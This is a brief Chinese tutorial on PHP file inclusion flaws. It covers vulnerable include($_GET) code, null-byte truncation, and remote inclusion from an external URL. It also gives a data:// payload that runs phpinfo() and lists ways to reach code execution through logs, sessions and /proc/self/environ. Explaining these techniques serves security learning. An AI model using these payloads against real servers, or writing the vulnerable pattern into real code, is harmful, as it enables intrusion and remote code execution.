php 中可以通過include()、require()、include_once()、require_once() 函數包含檔案,被包含的檔案無論類型都會被執行。 當allow_url_include 配置為on 時,則允許包含遠程檔案,反之為off 時則只允許包含本地檔案。另外一個比較關鍵的配置為open_basedir,這個選項限定了可以包含的目錄。
1、程式碼範例:
PHP <?php<br />include($_GET['test']);<br />?>
123 |
<?phpinclude($_GET['test']);?> |
本地檔案:192.168.1.8/test.php?test=a.jpg
遠程檔案:192.168.1.8/test.php?http://www.chuhades.com/index.php
2、截斷
可以通過截斷來突破一些字元拼接。 代碼:
PHP <?php<br />$file = $_GET['test'];<br />include($file.'abcd');<br />?>
1234 |
<?php$file=$_GET['test'];include($file.'abcd');?> |
這個代碼如果你直接192.168.1.8/test.php?test=a.jpg,實際包含的是“a.jpgabcd”,檔案不存在,會出錯。
因為php 的核心是c 實現的,所以可以通過0 位元組進行字串截斷。
192.168.1.8/test.php?test=a.jpg%00
包含遠程檔案時也可以通過“?”把後面的代碼解釋為URL 的參數,加以截斷。
3、本地檔案包含的利用技巧
(1)包含使用者上傳的檔案。 (2)包含data:// 或php://input 等偽協議。 http://192.168.1.8/test.php?test=data:text/plain,<?php phpinfo();?>%00 (3)包含Session 檔案。 (4)包含記錄檔,比如web server 的 error_log、access_log。 一般步驟:httpd.conf —-> log (5)包含/proc/self/environ 檔案。 在user-agent 中注入php 代碼。 (6)包含上傳的臨時檔案。
http://www.exploit-db.com/download_pdf/17010
(7)包含其他應用建立的檔案,比如資料庫檔案、快取檔案、應用日誌等。
4、其他函數 fopen() fread() ……
5、執行個體
http://www.wooyun.org/bug.php?action=list&subtype=49
http://www.wooyun.org/bug.php?action=list&subtype=15
< php, 檔案包含 >